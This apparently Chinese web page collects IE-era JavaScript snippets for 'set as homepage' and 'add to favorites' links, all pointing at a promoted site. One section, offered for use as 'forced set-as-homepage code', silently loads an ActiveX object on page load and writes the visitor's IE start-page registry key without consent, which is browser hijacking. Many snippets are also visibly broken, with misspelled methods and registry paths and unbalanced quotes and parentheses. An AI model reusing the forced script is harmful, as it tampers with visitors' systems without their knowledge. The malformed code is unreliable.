网页设为首页代码全集,加入收藏夹代码

设为首页代码大全把以下代码<Body>相应位置
<span  style="CURSOR: hand">设为首页</span>
===============================================================

强制设为首页代码
<script>
var ucook=document.cookie;
var user=ucook.indexOF("ilooki=");
if(user==-1)
{
var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT";
document.write("<APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment></APPLET>");function yuzi(){try{a1
=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page", http://www.zhuan17.cn);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);
}
</script>
===============================================================

鼠标指向时提示设为首页 将下列代码插入<body>区中:
<A href=" http://www.zhuan17.cn "  target="_blank">设为首页</A>

===============================================================

打开页面时自动弹出窗口询问是否设为首页

将以下代码放在<head></head>之间: <script language="javascript">
function myhomepage(){
this.homepage.style.behavior='url(#default#homepage)';this.homepage.sethomepage(' http://www.zhuan17.cn );
}
</script>
<p align="center"><a href=" http://www.zhuan17.cn" name="homepage" ></a>
再将下面代码加入<body>内:
即:<body >
离开时自动提示设为首页
<body >  

================================================================

加入收藏夹,设为首页代码
把以下代码<Body>相应位置
<a target=_top href=javascript:window.external.AddFavorite(' http://www.zhuan17.cn )>加入收藏</a>
<a href=# onClick="this.style.behavior='url(#default#homepage)';this.setHomePage('www.56ui.com);">设为首页</a>

================================================================

鼠标指向时提示设为首页
将下列代码插入<body>区中:
<A href=" http://www.zhuan17.cn " onmouseover="this.style.behavior='url(#default#homepage)';this.setHomePage(' http://www.zhuan17.cn');" target="_blank">设为首页</A>

================================================================

离开时自动提示设为首页
<body onunload="BASEBody.style.behavior='url(#default#homepage)';if(!(BASEBody.isHomePage(' http://www.zhuan17.cn')))BASEBody.setHome
Page(' http://www.zhuan17.cn');">  
把以下代码<Body>相应位置

<a target=_top href=javascript:window.external.AddFavorite(' http://www.zhuan17.cn ')>加入收藏</a>


<a href=# onClick="this.style.behavior='url(#default#homepage)';this.setHomePage('www.zhuan17.cn');">设为首页</a>
 
================================================================
 
实例:
 
<a href="javascript:window.external.addFavorite('http://www.lrcsw.com','老人出书网')">加入收藏夹</a>

   <a onclick="this.style.behavior='url(#default#homepage)';this.setHomePage('http://www.lrcsw.com')" href=" http://www.lrcsw.com/#">设为首页</a>
 
特此声明:
 
上例代码只适用与IE浏览器。
 

你可能感兴趣的:(职场,设为首页,休闲,加入收藏夹)